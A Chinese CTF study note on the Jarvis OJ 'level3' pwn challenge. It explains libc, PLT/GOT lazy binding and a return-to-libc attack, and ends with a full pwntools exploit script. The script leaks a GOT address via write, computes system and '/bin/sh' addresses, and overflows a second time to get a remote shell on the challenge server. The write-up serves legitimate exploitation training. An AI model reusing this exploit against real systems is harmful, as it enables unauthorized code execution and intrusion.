Jarvis Oj Pwn 学习笔记-level3
你们期待的Libc终于来了~(return_to_libc attack)
跪呈链接:
https://files.cnblogs.com/files/Magpie/level3.rar
nc pwn2.jarvisoj.com 9879
checksec,依旧老样子:
端起IDA,elf和libc双双扔进锅里:
先看elf:
阔以阔以,libc类题目该有的函数(话说貌似有write一个就够了...)都有了~当然该没有的(当然是指system)也确实没有。。
好,主要原因是因为本人就是个菜鸡所以还是决定把libc类pwn题的具体思路婆婆妈妈一波:
首先,有一类函数,我们称之为库函数,他们已经编译在了libc库中,供需要时调用(有些类似于Windows动态链接库)。
libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。
由于本人水平太菜==暂时还搞不清楚libc在换了另一个系统时的调用情况是否兼容(相关的坑以后再填~),但是有一点可以确定:
程序开始运行时,会把整个libc映射到内存中,此后在程序调用相关库函数时,会依据plt-got表的机制,将所需的库函数加载到内存空间的某个虚拟内存地址,然后调用时就会通过plt_got表辗转跳至真正的函数内存地址处完成功能,具体机制我们下面讲一下(PLT-GOT表):
PLT:内部函数表
GOT:全局函数表
完整调用链:Call->PLT->GOT->Real_RVA
转一篇简书的博文(https://www.jianshu.com/p/6626a866ad66)——@xiaobaozi
########################################################################
GOT表和PLT表:
GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。
延迟绑定:
所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序
下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:
bar@plt:
jmp bar@got
patch bar@got
这里会从PLT跳转到GOT,如果函数从来没有调用过,那么这时候GOT会跳转回PLT并调用patch bar@got,这一行代码的作用是将bar函数真正的地址填充到bar@got,然后跳转到bar函数真正的地址执行代码。当我们下次再调用bar函数的时候,执行路径就是先后跳转到bar@plt、bar@got、bar真正的地址。
链接:https://www.jianshu.com/p/6626a866ad66
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
#########################################################################
更多相关plt和got表内容参见《深入理解计算机系统》;好我们接着讲:
跟进去:
这就是plt表,再跟一下就进了got表项:
双击跟一下后面的offset,发现是有一个静态的初始地址的,然而显然这不是真正的函数地址:
plt表里做了一个jmp,注意jmp跳到的地址是804a00c处存的地址而不是804a00c(804a00c就是got表项的索引地址,其处存的地址值就是表项内容即库函数的真实地址!)
即下面的 dd offset read 这个值才是jmp的目标地址,附一个汇编语法:ds:[eax] 值为eax的值,即指针,而ds:eax 值为eax存储的地址处的值
ds是指data segment,dd是双字,占四字节
下面的仅是本人的理解和猜测,不一定保证正确:
第一次跳到extrn就做了声明,将 dd offset read 改写为真实VA值,即与上面转载的博客讲的首次调用对应。
也就是说,不考虑第一次,GOT表存的就是真实地址!!!!
即0x804A00C处的值就是函数真实地址!!!
现在大体基础原理已经介绍完了,我们继续分析这道pwn题目:
由于libc_raw里的地址和虚拟内存中的VA是平行映射的,所以......
先通过write泄露某函数got表的值(即某函数真实VA),然后在IDA中找到system和"/bin/sh"和某函数地址,算出偏移,根据平行的特性就可以计算出真实的system和"/bin/sh"的地址啦~
之后,all matters done!
注意,需要两次溢出!第一次溢出劫持到write泄露地址,write执行完后还要能回到源溢出函数(构造栈),然后进行第二次溢出拿shell
原理明白了,我们看exp:
1 from pwn import * 2 context(arch = 'i386', os = 'linux') 3 r = remote('pwn2.jarvisoj.com', 9879) 4 junk='A'*140 5 rtwrt='\x40\x83\x04\x08' 6 rtfun='\x4b\x84\x04\x08' 7 leakstk='\x01\x00\x00\x00'+'\x0c\xa0\x04\x08'+'\x04\x00\x00\x00'#write函数的参数:1 stdout \x0c\xa0\x04\x08 got表地址 4 读四个字节 8 payload=junk+rtwrt+rtfun+leakstk 9 r.recvuntil("Input:\n") 10 r.send(payload) 11 b=r.recv(4) 12 readadr=u32(b) 13 print hex(readadr) 14 offset_sys=0x00040310-0x000daf60 15 offset_cmd=0x0016084c-0x000daf60 16 s=readadr+offset_sys 17 c=readadr+offset_cmd 18 payload='A'*140+p32(s)+'BBBB'+p32(c) 19 r.send(payload) 20 r.interactive()
BINGO!!